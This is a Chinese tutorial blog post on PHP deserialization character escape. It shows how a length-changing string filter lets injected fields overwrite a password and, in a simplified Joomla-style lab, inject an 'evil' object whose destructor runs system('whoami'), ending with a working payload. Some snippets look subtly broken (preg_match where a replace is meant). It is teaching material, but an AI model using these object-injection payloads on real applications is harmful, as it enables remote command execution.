• 详解PHP反序列化中的字符逃逸


    首发先知社区,https://xz.aliyun.com/t/6718/

    PHP 反序列化字符逃逸

    • 下述所有测试均在 php 7.1.13 nts 下完成

    • 先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化

    • PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

    • 比如:在一个正常的反序列化的代码输入 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} ,会得到如下结果

    • 如果换成 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 仍然是上面的结果,但是如果修改它的长度,比如换成 a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";} 就会报错

    • 这里给个例子,将 x 替换为 yy ,如何去修改密码?

    <?php
    function filter($string){
        return preg_match('/x/','yy',$string);
    }
    
    $username = "peri0d";
    $password = "aaaaa";
    $user = array($username, $password);
    
    var_dump(serialize($user));
    echo '
    ';
    
    $r = filter(serialize($user));
    
    var_dump($r);
    echo '
    ';
    
    var_dump(unserialize($r));
    
    • 正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

    • 那如果把 username 换成 peri0dxxx ,其处理后的序列化结果为 a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} ,这个时候肯定会反序列化失败的

    • 可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符

    • 回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} 想一下,它在进行修改密码之后就变为 a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

    • 可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

    • 假设要在 peri0d 后面填充 4 个字符,那么就是 s:30:'peri0dxxxx";i:1;s:6:"123456";}'; 在经过处理之后就是 s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}'; 读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345

    • 这就需要继续增加填充字符,在有 20x 时,就实现了密码的修改

    • 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

    看一看 Joomla 的逃逸

    • 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
    <?php
    class evil{
    	public $cmd;
    
    	public function __construct($cmd){
    		$this->cmd = $cmd;
    	}
    
    	public function __destruct(){
    		system($this->cmd);
    	}
    }
    
    class User
    {
    	public $username;
    	public $password;
    
    	public function __construct($username, $password){
    		$this->username = $username;
    		$this->password = $password;
    	}
    
    }
    
    function write($data){
    	$data = str_replace(chr(0).'*'.chr(0), '', $data);
    	file_put_contents("dbs.txt", $data);
    }
    
    function read(){
    	$data = file_get_contents("dbs.txt");
    	$r = str_replace('', chr(0).'*'.chr(0), $data);
    	return $r;
    }
    
    if(file_exists("dbs.txt")){
    	unlink("dbs.txt");  
    }
    
    $username = "peri0d";
    $password = "1234";
    $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
    write(serialize(new User($username, $password)));
    var_dump(unserialize(read()));
    
    • 详细的代码逻辑不再阐述,它这里就是先将 chr(0).'*'.chr(0)3 个字符替换为 6 个字符,然后再反过来
    • 我们这里最终的目的是实现任意的对象注入
    • 正常来说,这个序列化结果为 O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";} ,我这里的目的是要把 password 的字段替换为我的 payloads:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
    • 那么可以想一下,一种可能的结果就是 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
    • 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在 User 中多加一个 $ts
    <?php
    class evil{
    	public $cmd;
    	public function __construct($cmd){
    		$this->cmd = $cmd;
    	}
    	public function __destruct(){
    		system($this->cmd);
    	}
    }
    
    class User
    {
    	public $username;
    	public $password;
        public $ts;
    	public function __construct($username, $password){
    		$this->username = $username;
    		$this->password = $password;
    	}
    }
    $username = "peri0d";
    $password = "1234";
    $r = new User($username, $password);
    $r->ts = new evil('whoami');
    echo serialize($r);
    // O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
    
    • 这个序列化结果中,";s:8:"password";s:4:"1234 长度为 26 ,加上 peri0d6 就是 32 了,这样就覆盖了 password 及其值,再将前面的属性改为 2 就符合原来的源码含义了,而且它是可以成功反序列化的
    • 接下来就是如何构造 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} ,很明显要利用前面的替换使 peri0d 扩增来覆盖 password ,然后将 payload 作为 password 的值输入,以达到 payload 注入
    • 先修改 username="peri0d\0\0\0"$password = "123456".$payload 得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
    • 发现有问题,修改 $password = '123456";'.$payload."}"
    • 就得到了符合规范的序列化结果 O:4:"User":2:{s:8:"username";s:12:"peri0d";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
    • 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用 N 代表 NULL : O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
    • 这就会多出来 3 个字符,这里一定是按照 3 的倍数进行字符增加的,而 ";s:8:"password";s:56:"123456 长度为 29 ,这就需要进行增加或减少,从而去凑 3 的倍数,这里选择减少,使 password1234 则长度为 27 ,即需要 9
    • 最终的 payload :
    <?php
    $username = "peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
    $password = '1234";'.$payload."}";
    write(serialize(new User($username, $password)));
    var_dump(unserialize(read()));
    
    • 结果:

    • 顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病

    • 题目地址:http://47.101.71.47:9000/

    参考链接

  • 相关阅读:
    LVS基于DR模式负载均衡的配置
    Linux源码安装mysql 5.6.12 (cmake编译)
    HOSt ip is not allowed to connect to this MySql server
    zoj 3229 Shoot the Bullet(无源汇上下界最大流)
    hdu 3987 Harry Potter and the Forbidden Forest 求割边最少的最小割
    poj 2391 Ombrophobic Bovines(最大流+floyd+二分)
    URAL 1430 Crime and Punishment
    hdu 2048 神、上帝以及老天爷(错排)
    hdu 3367 Pseudoforest(最大生成树)
    FOJ 1683 纪念SlingShot(矩阵快速幂)
  • 原文地址:https://www.cnblogs.com/peri0d/p/11845917.html
Copyright © 2020-2023  润新知